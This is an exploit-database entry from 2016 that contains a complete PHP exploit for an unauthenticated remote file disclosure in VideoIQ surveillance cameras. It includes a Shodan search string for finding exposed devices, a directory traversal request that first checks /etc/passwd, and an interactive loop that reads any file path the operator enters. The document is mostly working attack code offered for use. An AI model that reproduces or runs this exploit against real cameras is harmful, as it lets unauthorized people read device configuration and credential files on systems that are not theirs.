VideoIQ Camera - Local File Disclosure



EKU-ID: 5795 CVE: OSVDB-ID:
Author: Yakir Wizman Published: 2016-08-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


<?php
# VideoIQ Camera Remote File Disclosure 0day Exploit
#
# VideoIQ develops intelligent video surveillance cameras using edge video IP security cameras paired with video analytics.
#
# Exploit Coded & Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
# Date 20/08/2016
# Shodan Dork       : title:"VideoIQ Camera Login"
# Version Affected  : All Versions
# Vendor Homepage   : http://avigilon.com
# CVE               : N/A
# Description       : VideoIQ is vulnerable to remote file disclosure which allows to any unauthenticated user read any file system including file configurations.
###
# Exploit code:
 
error_reporting(0);
 
$error[0] = "[!] This script is intended to be launched from the cli.";
 
if(php_sapi_name() <> "cli")
    die($error[0]);
     
if($argc < 3) {
    echo("\nUsage  : php {$argv[0]} <host> <port>");
    echo("\nExample: php {$argv[0]} localhost 8080");
    die();
}
 
if(isset($argv[1]) && isset($argv[2])) {
    $host = $argv[1];
    $port = $argv[2];
}
 
$pack = "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C..{FILE_PATH} HTTP/1.0\r\n";
$pack.= "Host: {$host}\r\n";
$pack.= "Connection: close\r\n\r\n";
 
while(1) {
    if(strstr(http_send($host, $port, preg_replace("/{FILE_PATH}/", '/etc/passwd', $pack)), 'root')) {
        echo("\nAnonymous@{$host}:~# cat ");
        if(($file = trim(fgets(STDIN))) == "exit")
            break;
        $ret = http_send($host, $port, preg_replace("/{FILE_PATH}/", $file, $pack));
        if(strstr($ret, '<title>Error 404 NOT_FOUND</title>') || strstr($ret, '<p>Problem accessing') || strstr($ret, '<h2>HTTP ERROR 404</h2>')) {
            echo("cat: {$file}: No such file or directory");
        } else {
            echo($ret);
        }
    } else {
        echo("[-] Server likely not vulnerable.\n");
        break;
    }
}
 
function http_send($host, $port, $pack) {
    if(!($sock = fsockopen($host, $port)))
        die("\n[-] No response from {$host}\n");
    fwrite($sock, $pack);
    $response = explode("\r\n\r\n", stream_get_contents($sock));
    return($response[1]);
}
?>